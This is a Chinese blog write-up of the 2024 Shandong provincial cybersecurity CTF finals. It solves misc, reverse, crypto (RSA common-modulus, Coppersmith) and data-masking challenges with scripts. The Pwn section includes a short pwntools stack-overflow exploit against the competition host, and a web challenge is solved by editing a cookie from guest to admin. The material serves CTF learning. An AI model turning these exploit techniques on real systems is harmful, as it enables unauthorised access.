2024九州信泰杯第十一届山东省网络安全技能大赛总决赛题解-WriteUp

该文章已生成可运行项目,

前言

大学这四年经历了疫情,比赛一直延期。现在毕业了,终于有机会参加一次山东省赛。

跟特等奖擦肩而过,最后一个小时被做数据分析题的师傅反超。

那道题我也做出来了,按照要求清洗出100条数据,但不知道为什么md5就是交不上。

(问了下做出来的朋友,题目出错了,题目要求换行符用LF,但实际上要使用CRLF才能通过)

image-20241028000122485

关注公众号【Real返璞归真】回复【山东省赛】获取总决赛题目下载地址和PDF版WriteUp。
不定期更新CTF网络安全相关技术文章

Misc

Misc方向,除了0解的Bad_File没去看,其它题目基本都是老套路。

签到

下载压缩包,里面的txt就是Flag,这题还拿了个一血。

简单编码

题目描述是:60 = ?+ ?,脑洞题,虽然做出来了,但赛后才知道是ROT47+ROT13。

不过看这题解很多,就知道很简单,尝试工具,借助随波逐流工具一(两)把梭:

image-20241027211233762

这个比较像flag格式,复制出来再解码一次:

image-20241027211313184

ROT47+ROT13,当时光顾着做后面的题了,也没仔细关注这个60=?+?是什么意思。

ezpic

010editor打开拖到最下面找到flag的后半部分:

image-20241027212002824

StegSolve打开,图片里藏了一个二维码:

image-20241027212426572

扫码得到flag前半部分:

image-20241027212735167

异常的流量

拖入WireShark发现全是DNS流量,没什么信息,信息都在域名上。

这种类似的题目很多,蓝桥杯是把压缩包的十六进制隐藏在了域名,这道题是隐藏了一堆01二进制,提取出来(可以用Lua脚本或Python):

from scapy.all import rdpcap, DNS, DNSQR

packets = rdpcap('shark.pcap')
for packet in packets:
    if packet.haslayer(DNS) and packet.getlayer(DNS).qd is not None:
        domain_name = packet.getlayer(DNSQR).qname.decode('utf-8')
        print(domain_name.split('.')[0])
image-20241027212818369

然后根据01画点阵图(代码同样可画rgb图)即可:

from PIL import Image

data = '''
...'''
data = data.replace("\n", "")

w = 40
h = 80
pic = Image.new("RGB", (w, h))

i = 0
for y in range(0, 80):
    for x in range(0, 40):
        if data[i] == '1':
            pic.putpixel([x, y], (0, 0, 0))
        else:
            pic.putpixel([x, y], (255, 255, 255))
        i = i + 1

pic.show()
pic.save("flag.png")

得到一个缺失3个定位角的二维码,但是二维码不是正方形的。(虽然可能调整后也能扫出来)

流量的发送域名和接收域名相同,并且数据大小为80*40,直接去掉一半的冗余数据即可:

data_arr = data.split('\n')
for i in range(len(data_arr)):
    if i % 2 == 1:
        print(data_arr[i], end='')

再次画图:

image-20241027223129307

补全三个定位角并扫码得到flag:

image-20241027223004799

Bad_File

0解,没去看这道题目。

Pwn

Pwn方向区分度不大,除了栈溢出ret2text签到题,还1道rust题只有1解。

签到题几十个解,rust只有1个解。

ezpwn

签到题,栈溢出后ret2shellcode。

ret2text是Pwn入门的第一课,不写分析过程了。

直接打远程即可,exp如下:

from pwn import *

p = remote("172.23.96.1", 9999)
p.sendline(b'a' * 0x28 + p64(0x400548))

p.interactive()

rust_but_sign_in

没了解过Rust逆向和Rust二进制漏洞,所以没去看这道题。

比赛结束前10分钟,中国海洋大学的孙英力师哥拿下了一血。

Reverse

Reverse方向区分度还可以,简单、中、难题目各1个。

简单题解的比较多,中等题个位数解,难题rust是0解。

exchange

字符串定位main函数:

image-20241027224200858

代码只有几行,根据idx数组的下标对enc重新排序得到flag。

动态调试拿到idx和enc数组的数据,然后编写脚本如下:

idx = [0x00000000, 0x00000001, 0x00000002, 0x00000003, 0x00000004, 0x0000000D, 0x0000001C, 0x00000005, 0x00000014, 0x0000001D, 0x00000007, 0x0000001A, 0x00000022, 0x00000012, 0x0000000E, 0x00000008, 0x00000023, 0x00000018, 0x00000013, 0x0000000C, 0x00000017, 0x0000000F, 0x0000000A, 0x00000024, 0x0000001F, 0x00000006, 0x0000001B, 0x00000011, 0x00000019, 0x00000020, 0x00000016, 0x0000000B, 0x0000001E, 0x00000015, 0x00000021, 0x00000009, 0x00000010, 0x00000025]

enc = [0x00000066, 0x0000006C, 0x00000061, 0x00000067, 0x0000007B, 0x00000034, 0x00000037, 0x00000065, 0x00000062, 0x00000066, 0x00000030, 0x00000030, 0x00000038, 0x00000039, 0x00000039, 0x00000061, 0x00000033, 0x00000036, 0x00000061, 0x00000039, 0x00000035, 0x00000062, 0x00000063, 0x00000065, 0x00000030, 0x00000031, 0x00000035, 0x00000035, 0x00000065, 0x00000066, 0x00000065, 0x00000033, 0x00000032, 0x00000062, 0x00000038, 0x00000064, 0x00000061, 0x0000007D]

print(len(idx))
print(len(enc))

flag = list(range(38))
for i in range(38):
    flag[idx[i]] = enc[i]
    
for x in flag:
    print(chr(x), end='')

rand

做的时候感觉有点不可思议,结合题目描述“如果你能回到过去…”就明白了。

拖入IDA分析,根据字符串定位main函数:

image-20241027224822780

加密流程是将输入与key进行异或得到enc,动调发现每次key都变,猜测是和时间戳有关。

分析key的初始化函数:

image-20241027224954307

这里是没有函数符号名的,由于程序不复杂也没有去恢复符号表,timestamp是根据动态调试结果推测出来的。

它会将当前时间戳作为随机数种子,生成38个数作为key。

只能爆破时间戳到出题人出题的时间才能拿到正确的flag。

先用python拿到1年前的时间戳:

from datetime import datetime

date = datetime(2023, 10, 27)
timestamp = int(date.timestamp())

print(timestamp)

# 1698336000

然后用cpp开始爆破(题目是cpp在windows编写的,尽量保持环境一致,否则相同的seed随机数可能生成的不一样):

#include <iostream>

using namespace std;

unsigned int enc[] = {
        0x00000085, 0x000000DC, 0x00000063, 0x00000051, 0x00000014, 0x00000010, 0x00000047, 0x00000019,
        0x00000096, 0x000000D8, 0x00000092, 0x0000008F, 0x000000C3, 0x00000077, 0x000000E8, 0x000000CD,
        0x00000008, 0x00000072, 0x00000059, 0x00000094, 0x0000007D, 0x0000006B, 0x0000007C, 0x00000081,
        0x00000017, 0x00000070, 0x000000AB, 0x00000093, 0x000000F5, 0x000000C7, 0x0000008F, 0x00000002,
        0x000000CF, 0x000000E7, 0x0000003B, 0x000000A1, 0x00000097, 0x00000026
};

unsigned int seed = 1698336000;

int main() {
    while(true) {
        srand(seed);

        char flag[] = "flag{";

        bool is = true;
        for (int i = 0; i < 5; i++) {
            if (((rand() % 255) ^ enc[i]) != flag[i]) {
                is = false;
                break;
            }
        }

        if (is) {
            cout << seed << endl;
            return 0;
        }

        seed += 1;
    }
}
// 1724124694

cpp的速度比python还是快很多的,运行后秒出结果:1724124694。

然后写脚本直接异或回去即可:

#include <iostream>

using namespace std;

unsigned int enc[] = {
        0x00000085, 0x000000DC, 0x00000063, 0x00000051, 0x00000014, 0x00000010, 0x00000047, 0x00000019,
        0x00000096, 0x000000D8, 0x00000092, 0x0000008F, 0x000000C3, 0x00000077, 0x000000E8, 0x000000CD,
        0x00000008, 0x00000072, 0x00000059, 0x00000094, 0x0000007D, 0x0000006B, 0x0000007C, 0x00000081,
        0x00000017, 0x00000070, 0x000000AB, 0x00000093, 0x000000F5, 0x000000C7, 0x0000008F, 0x00000002,
        0x000000CF, 0x000000E7, 0x0000003B, 0x000000A1, 0x00000097, 0x00000026
};

int main() {
    srand(1724124694);

    for(unsigned int i : enc) {
        unsigned char result = (rand() % 255) ^ i;
        cout << result;
    }

    return 0;
}
// flag{7639122488dd561e94332df2cb11cc94}

rust_master

没了解过Rust逆向,所以没去看这道题。

Crypto

古典密码

根据大括号位置判断,显然需要先栅栏,然后凯撒。

yzabliviiszwve{blbekmnehedtmltfxrhsxhn}
yetz{mablbltlbfiexvkrimhinssexzhhwenvd}
flag{thisisasimplecryptopuzzlegoodluck}

ezRSA

不擅长密码,但是运气比较好,这题是去年的原题改编。

刚好本地复现去年科来杯赛题时保存了sega和coppersmith脚本。

去年的题和这题一样也是分为2步,第2部都是已知p的高位部分。

今年第一步是共模攻击。第二步已知p的高位部分使用coppersmith。

先通过共模攻击拿到一半flag:

e1=80920036383271456884731855336908733674195076693352034421030167209168902043240854199888480335276421339155718769136889123734232796673751140527221307207186454156407008720310617805470953605756132383224775816963902169094699618940013911651166503289778627221433656915409322475116356353350793878043745984958915725409
e2=157337742803331381707081104614454139190613421935352344920505563873685572272242119454127715194230070940347536180008189854595839912376034798866664253771618394211437495972597736804857988149726925535444122269369965629542777858719379779679815711307098468031224114336467296001869919652928981505105646315343295989427
e3=151331577311347503650846083374010150290906101190738833999466725504697974581495397221270183896187584673115938288608973023886805812169979614967681838139083032975919276529255845404290715796754552934999621703591626085061263391854538063387400073347900311137920583193874365088731350266894302011814131654974587179897

n=51338292824921384374308264590499958387946036614411779883318535786370969601482494580681728663336755028116825350816416100820453720355911410549734249826843836189313922491268355913821168841949406825118920329426705711705902956786893606291260087119946695940831654741542964069506046490382369164425204539432893855733
c1=7148075358989846285612326649007789216851402092960404815359454478003554023208108349883355640642248538922028451907404797848317571212117289210187441418893611533486201563941544606393403051337184135949095977026090524113823052449209516894275200159337705771127304599909614996858029583203403908549208158026963739180
c2=4335905186349696070952095695051853331216663315249835435738962846976303760642191996244508865679564436777897150011370798875139018288313167929390573486759776910250901605455263936407782280439958696819918483187423257560402666877085156610075743550424083860953236635335194590102141504569701375592873975728026223579
c3=27263930231060685132398996882061585062008690477607569983739548802641704375569521897902696700434075189787034098033516863910388773463085919793680835197198451279918918308913436410104901826031716332322782356608204297641182728876358287859590282497410888271620074087218600802531724944075591372084167471246524545802

higt_p=10496606133250924650973408422392393213195790115730683500477279237006896932591095256261821093956361110796894672841404707169736391999119446226993558226731008
n2=126321430715320565623904437839115230261205837249354771464583438511377310531639176358316274491109984618835180768627424997725195207206583538100767801124581853089219806998538717189795440969518448523591407979173233041366830288720636642028104875845058885442061904337652654949102797542545797325381718940999480888577
c4=15529343657569780107610070210436681112536871252739837525139520316873436881058428771383013443820335831300897616382026635350080680326788599288570752965797436746605522190493656877557700681552496659429667861396285774594350142920136601270601560594260360319781439596125688864142583877800794877701048702096999102587

from gmpy2 import *
from Crypto.Util.number import *

def gongmo(n, c1, c2, e1, e2):
    def egcd(a, b):
        if b == 0:
            return a, 0
        else:
            x, y = egcd(b, a % b)
            return y, x - (a // b) * y
    s = egcd(e1, e2)
    s1 = s[0]
    s2 = s[1]

    # 求模反元素
    if s1 < 0:
        s1 = - s1
        c1 = invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = invert(c2, n)
    m = pow(c1, s1, n) * pow(c2, s2, n) % n
    return m
result = gongmo(n, c1, c3, e1, e3)
print(long_to_bytes(result))
# flag{320aaf36e6da2a

剩余一半使用coppersmith:

n = n2
p_fake = higt_p

pbits = p_fake.nbits()
kbits = 128  # p失去的低位
pbar = p_fake & (2 ^ pbits - 2 ^ kbits)
print("upper %d bits (of %d bits) is given" % (pbits - kbits, pbits))

PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar
x0 = f.small_roots(X=2 ^ kbits, beta=0.4)[0]  # find root < 2^kbits with factor >= n^0.3
print(x0 + pbar)

p = 10496606133250924650973408422392393213195790115730683500477279237006896932591095256261821093956361110796894672841404976806452900489014635582796372762571837
q = n2 // p
e = 68
phi = (p-1) * (q-1)

d = gmpy2.invert(e // 4, phi)
m = pow(c4, d, n2)
m = gmpy2.iroot(m,4)[0]
print(long_to_bytes(m))

格格格格

0解,不擅长密码,没去看这道题目。

工业互联网

算是送分的吧,签到题基本都梭哈出来了,难题没人做。

Busss

工控流量分析,没接触过,不过解的很多。

肯定可以用工具梭:

image-20241027232935132

old_machine

类似取证的题,给了系统ram镜像。题目带靶机,0解,没接触过工控安全就没去研究。

数据安全

比较离谱的题,吐槽的人最多的题,给你1w条数据让你写脚本处理,最后提交md5。

很多人可能或多或少的出现一些细节问题导致flag不对,要求考虑很全面。

建议最好改成靶机题目,下发数据处理后提交,靶机检查后反馈详细错误结果(毕竟安全实践主要靠调试)。

其实就是考察Coding能力,之前打ACM经常做这种题,适合放到ACM那边当模拟题考察。

(这是ACM出题人来客串了吗

数据脱敏

给你生成了一些随机的假数据:

image-20241027234035196

让你对姓名、身份证和手机号按规定要求脱敏处理:

image-20241027234746646

脚本如下所示:

data = open('./tmp', encoding='utf-8').readlines()
txt = ''

for i in range(10000):
    p = data[i].split(',')
    name = p[0]
    card = p[1]
    phone = p[2].replace('\n', '')

    if len(name) == 2:
        name = name[0] + '*'
    elif len(name) == 3:
        name = name[0] + '*' + name[2]

    card = card[0:6] + '********' + card[-4:]
    phone = phone[0:3] + '****' + phone[-4:]

    if i != 9999:
        txt = txt + name + ',' + card + ',' + phone + '\n'
    else:
        txt = txt + name + ',' + card + ',' + phone

with open('./ok.txt', mode='w+', encoding='utf-8') as f:
    f.write(txt)
➜  simplicity md5sum ok.txt
76e2f5c0b24aae33b918d82414d5c76d  ok.txt

题目有几个坑:

  • 末尾不能有空行。
  • 要求换行符为LF,必须在Linux运行代码生成或者用vscode修改换行符为LF。
  • 原始数据最后一行没有换行符,其它行有换行符,很多人忽略了这一点,导致最后一行数据处理错误。

数据分析

题目给了了10000条数据,有1%的错误信息,要求筛选出不合法的姓名、性别、身份证号信息(100条)。

这题做出来了,确实也筛选出来了100条,末尾也没有换行符,换行符也使用了LF,但是提交flag就是不对。

因为这一道题目跟特等奖擦肩而过了,放一下我写的脚本,怀疑题目数据有问题。

如果有人发现脚本问题或者解决了问题可以后台私信我。

说一下思路:

  • 姓名:直接正则匹配纯中文,姓名好像没有错误的。
  • 性别:只能为 男 或 女,性别好像也没有错误的。
  • 出生日期:必须指定格式,好像有1个人的月份不是合法日期。
  • 身份证号:
    • 根据倒数第二位奇偶性判断男女是否有误。
    • 根据倒数第一位校验码判断前17位加权求和取余是否有误。
    • 判断填写的出生日期和身份证号的出生日期是否一致。
import re


def is_chinese_string(text):
    pattern = r'^[\u4e00-\u9fa5]+$'
    return bool(re.match(pattern, text))


def is_valid_date(date):
    date_ = date.split('-')
    if len(date_) != 3:
        return False
    if len(date_[0]) != 4:
        return False
    if len(date_[1]) != 2:
        return False
    if len(date_[2]) != 2:
        return False

    pattern = r'^\d{4}-(0[1-9]|1[0-2])-(0[1-9]|[12][0-9]|3[01])$'
    return bool(re.match(pattern, date))


m = {
    0: '1',
    1: '0',
    2: 'X',
    3: '9',
    4: '8',
    5: '7',
    6: '6',
    7: '5',
    8: '4',
    9: '3',
    10: '2',
}


def check(_):
    x = _.replace('\n', '').split(',')

    # check name
    if not is_chinese_string(x[0]):
        return False

    # check gender
    if x[1] != '女' and x[1] != '男':
        return False

    # check date
    date = x[2]
    if not is_valid_date(x[2]):
        return False

    # check card1
    code = x[3]

    if x[2].replace('-', '') != code[6:14]:
        return False

    if int(code[-2]) % 2 == 1 and x[1] == '女' or int(code[-2]) % 2 == 0 and x[1] == '男':
        return False
	
    # check card2
    k = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]

    sum = 0
    for i in range(len(code) - 1):
        sum += k[i] * int(code[i])
    num = sum % 11

    if m[num] != code[-1]:
        return False

    return True


txt = ''
data = open('./data.csv', encoding='utf-8').readlines()
print(len(data))

wrong = 0
for x in data:
    x = x.replace('\n', '')
    if not check(x):
        wrong += 1
        txt += x + '\n'
with open('./output.csv', mode = 'w+', encoding='utf-8') as f:
    f.write(txt)
print(wrong)

# 记得最后手动删除末尾的换行符

Web

一个简单题,一个不像web的题,还有一个0解难题。

web1

解的很多,题目名忘了,题目描述是“前端不可信”。

进去玩赛车游戏,需要2min内通关。本来以为需要看js,结果玩了一把直接过了,又提示了一个php页面。

进去后说你是guest不能访问,找到cookie把guest改成admin即可得到flag。

web2

进去后是一个迷宫,但是每一步都是一个数字。

好像要根据它的规则进行加减运算,结果刚好是出口的数字。

没太看懂题目,刚开始只有1解,结束前30分钟突然7解。

估计路径需要通过一些算法来遍历得到。

web3

0解难题,没去看。

题目下载

关注公众号【Real返璞归真】回复【山东省赛】获取总决赛题目下载地址。

本文章已经生成可运行项目
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值